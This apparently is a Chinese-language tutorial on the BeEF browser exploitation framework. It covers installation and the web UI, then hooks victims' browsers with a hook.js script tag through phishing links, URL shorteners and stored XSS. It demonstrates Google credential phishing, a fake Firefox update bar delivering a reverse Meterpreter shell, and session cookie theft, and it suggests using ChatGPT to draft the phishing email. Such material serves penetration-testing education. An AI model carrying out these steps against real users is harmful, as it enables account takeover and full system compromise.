点击上方 蓝字 关注我们
我们将解释什么是 BeEF、如何安装它以及如何启动它。我们将探索 BeEF Web 界面并讨论其不同组件。此外,我们将解释 BeEF 如何挂接到 Web 浏览器,并提供两种方法来实现这一点。
此外,我们将演示 BeEF 的三个具体用例:Google 网络钓鱼、创建导致反向 shell 的虚假通知栏以及窃取会话 cookie。
因此,如果您准备深入研究这个客户端框架,那就开始吧。
BeEF 是什么
BeEF,即浏览器利用框架,是道德黑客用来评估和利用网络浏览器漏洞的工具。
与许多其他专注于系统或服务器端漏洞的安全工具不同,BeEF 专注于客户端——具体来说,是用户的 Web 浏览器。这一点很重要,因为即使系统的网络或操作系统是安全的,Web 浏览器中的漏洞仍可以为攻击者提供进入网络或系统的途径。
BeEF 具有基于 Web 的用户界面,允许控制“挂钩”的 Web 浏览器,提供浏览器详细信息、活动日志和可用命令模块的清晰概览。“hook.js”是 BeEF 操作的核心 JavaScript 文件;一旦被目标浏览器加载,它就会与 BeEF 服务器建立通信通道并收集有关浏览器环境的全面信息。
对于道德黑客来说,BeEF 提供了几个好处:
深入的浏览器分析:BeEF 可以提供有关挂钩浏览器的详细信息,例如浏览器类型、版本、已安装的插件、浏览器是否在 Tor 上运行、cookie 等。
客户端利用:BeEF 有许多命令模块,可帮助利用 Web 浏览器。这些模块可以执行各种任务,例如窃取 Cookie、进行社会工程攻击、发起网络攻击等。
真实世界模拟:BeEF 允许道德黑客模拟真实世界的攻击场景,帮助组织更好地了解他们的风险状况。
持续访问:即使 IP 发生变化,BeEF 仍能保持对挂钩浏览器的控制,从而提供对目标的持续访问以进行进一步的利用。
易于使用的界面:BeEF 界面基于 Web 且用户友好,可以更轻松地管理挂钩的浏览器和执行命令模块。
安装 BeEF
BeEF 目前尚未安装在 Kali 上。请确保在安装前使用以下命令运行更新:
sudo apt update
您可以使用以下命令安装 BeEF:
sudo apt install beef-xss
启动 BeEF
安装 BeEF 后,您可以使用以下命令运行它:
sudo beef-xss
第一次运行该程序时,系统会提示您更改“beef”用户的默认密码。
一旦您更改密码,BeEF 将开始加载,并且您将看到 WebUI 地址和“hook.js”的钩子脚本。
Web UI: http://127.0.0.1:3000/ui/panel
Hook: <script src="https://127.0.0.1:3000/hook.js"></script>
Before you use the hook script, ensure you change the IP to that of the machine running BeEF.
BeEF 应该会为您打开浏览器,您需要使用在进入程序之前设置的新密码以用户“beef”身份登录。
BeEF 的界面
一旦成功登录,您将看到初始的 BeEF 界面。
让我们看看 BeEF 中的不同部分。
已连接浏览器:您将在此处看到当前已连接的所有浏览器的列表。每个浏览器都列出了详细信息,例如 IP 地址、浏览器名称和操作系统。由于最初没有连接任何浏览器,因此此部分为空。
入门:本节提供有关如何使用 BeEF 框架的指导。它包括有关如何挂接浏览器和使用命令模块的信息。
日志:此部分显示 BeEF 活动的日志。其中包括与目标浏览器的交互、发送的命令、收到的响应以及任何错误或重要的系统消息。
僵尸:在 BeEF 术语中,“僵尸”是指 BeEF 服务器控制的已挂接浏览器。“僵尸”部分列出了这些浏览器并允许您与它们交互。由于尚未挂接任何浏览器,因此此部分也将为空。
基本:此视图提供有关已挂接浏览器的基本信息,例如 IP 地址、浏览器类型和操作系统。在此视图中,您还可以使用可用的命令模块与已挂接浏览器进行交互。
请求者:“请求者”视图可让您从挂钩浏览器手动制作和发送 HTTP 请求。这对于从挂钩浏览器的角度探索网站或 Web 应用程序、测试访问控制或执行其他手动测试任务非常有用。
一旦您挂接了浏览器,“挂接的浏览器”和“僵尸”部分将填充信息,您将能够使用 BeEF 命令模块与挂接的浏览器进行交互。
使用 BeEF 连接 Web 浏览器
现在您知道如何安装和启动 BeEF,让我们来探索如何通过挂接浏览器来利用它。
什么是浏览器漏洞?
浏览器漏洞利用是指利用网络浏览器中的安全漏洞执行未经授权的操作。这可能涉及各种技术,通常是为了控制浏览器或运行浏览器的系统,或窃取敏感信息。
浏览器漏洞利用的基本概念是,网络浏览器与任何软件一样,其代码中可能存在缺陷或漏洞。这些漏洞可能会导致浏览器以非预期的方式运行。
大多数(如果不是全部)当前的桌面和移动浏览器都使用 JavaScript 为用户提供交互式网页和应用程序。
有关 JavaScript 安全性的更多信息,请阅读我们的文章《JavaScript 安全性:如何减轻主要风险》。
利用 BeEF,攻击者可以利用 JavaScript 的广泛使用来“挂钩”浏览器,从而允许攻击者利用潜在漏洞、执行命令并可能获得未经授权的访问或提取敏感信息。
挂钩浏览器
现在您已经了解了浏览器利用以及 BeEF 如何通过注入恶意 JavaScript 文件来工作,让我们看一个例子。
BeEF 在“入门”部分提供了演示页面的链接,我们可以使用这些链接来展示概念验证。在实际应用中,设置网站或 Web 服务器来提供“hook.js”代码是诱骗受害者上钩的更合法的方式。
攻击者可以通过创建一个网站,将钩子脚本添加到页面标题中,然后让受害者通过网络钓鱼攻击访问该网站来实现此目的。这可以通过电子邮件、社交媒体或其他方式 发送链接。
首先,让我们复制高级演示页面的链接。您必须将 IP 地址更改为攻击机器的 IP 地址。此页面包含嵌入的 hook.js 脚本。
http://10.0.2.15:3000/demos/butcher/index.html
接下来,你需要找到一种让用户点击此链接的方法。如何在ChatGPT的帮助下向公司员工制作一封钓鱼电子邮件,让他们知道有比赛的消息?
如果您想了解使用社会工程学的其他方法。
我们可以使用 URL 缩短器来伪装原始 URL。
一旦用户点击链接,他们就不会被带到竞赛页面,而是被带到 BeEF 演示页面,然后游戏就结束了,因为我们现在可以控制他们的浏览器。
我们可以在这里发挥创造力,创建一个看起来合法的竞赛表格,使我们能够挂接用户的浏览器并同时通过表格收集一些信息。
一旦用户的浏览器被挂接,浏览器就会出现在BeEF控制台中。
从详细信息窗格中,BeEF 为我们提供了大量信息。有价值的见解包括正在使用的浏览器、其版本、运行的操作系统、其架构、平台信息、语言详细信息、已安装的插件等等。
使用 XSS 进行攻击
另一种挂钩浏览器的方法是通过XSS(跨站点脚本)。跨站点脚本是一种漏洞,攻击者通过用户输入将 JavaScript 加载到 Web 应用程序中。这种攻击可能导致敏感信息的泄露。
此过程的第一步是找到一个易受跨站点脚本攻击的网站。这将使我们能够将恶意 JavaScript 注入到该网站中。
让我们看看攻击者如何使用存储型 XSS 和 BeEF 来钩住浏览器。这种方法非常有效,因为它可以感染许多用户。
一旦找到存在漏洞的站点,请将“hook.js”JavaScript 文件注入到下面的输入字段(例如“消息”)中。
当受害者的浏览器访问该网站时,它会加载文件并挂钩浏览器,使我们能够执行各种命令来发起攻击或窃取数据。
利用 BeEF 来利用浏览器会话
BeEF 预装了三百多个模块,您可以根据所连接的浏览器运行这些模块。这些模块分为十二个类别,包括:“漏洞、网络和社会工程”。
所有命令模块都包含一个交通灯图标,以显示这些命令模块是否不可见以及它们是否可以在目标浏览器中工作。
我们将向您展示如何使用其中三个模块。
Google 网络钓鱼
Google Phishing 命令是 BeEF 中的一个模块,旨在诱骗挂钩浏览器的用户透露他们的 Google 凭证。
让我们执行命令,在受害者的浏览器上,他们应该看到虚假的登录页面。
如果用户尝试登录,我们会在“Google 网络钓鱼”模块的命令结果选项卡中获得他们的凭据。
虚假通知栏
虚假通知栏命令是 BeEF 中专为社会工程攻击而设计的另一个模块。
当该模块在被挂钩的浏览器上执行时,它会在目标浏览器窗口顶部显示一个虚假的通知栏。该通知栏的内容可以自定义和设计,以诱骗用户点击链接或下载文件。
在我们的演示中,我们将使用反向 shell 有效负载。如果用户被诱骗下载并运行文件,它将打开我们机器的反向 shell。反向 shell 允许我们在受害者的系统上远程执行命令,
有关反向 shell 的更多信息,请参阅我们的反向 shell 备忘单。
由于用户的浏览器是 Firefox,我们将使用“假通知栏(Firefox)”模块,但您可以选择适合您情况的模块。
请确保将“插件 URL”设置为反向 shell 的位置。您可以保留“通知文本”,也可以根据需要进行更改。
我们将文本改为:严重安全警报:您的 Firefox 浏览器已严重过时!单击此处立即安装紧急安全更新。
一旦我们点击“执行”,用户就会看到一个通知栏。
系统将提示用户通过将文件保存到计算机来安装插件。
一旦用户尝试安装更新,我们将获得一个反向的 Meterpreter shell,从而让我们完全控制用户的系统。
会话 Cookie
会话 Cookie 又称为临时 Cookie,用于存储用户在单个浏览会话中的活动信息。它们可帮助网站记住用户的操作,例如登录信息或添加到购物车中的商品,并在浏览器关闭时被删除。
我们可以使用 BeEF 中的“获取 Cookie”模块从用户的浏览器中窃取会话 cookie。选择“获取 Cookie”,然后按“执行”按钮。会话 cookie 将显示在“命令结果”窗口中。
从攻击者的角度来看,这些 cookie 很有价值,因为攻击者可以利用它们通过接管会话来冒充网站(例如电子商务网站或论坛的会员部分)上的用户。
结论
浏览器利用框架(BeEF)是道德黑客的强大工具,提供一系列探索和破解网络浏览器漏洞的功能。
在本文中,我们向您展示了如何使用 BeEF 工具并使用它来执行三种不同的攻击,其中一种攻击使您能够完全控制用户的计算机。
然而,BeEF 的功能远远超出了我们在这里探索的范围。深入了解其选项和功能可以显著提高您使用 BeEF 黑客工具的熟练程度。
往期推荐
点个在看你最好看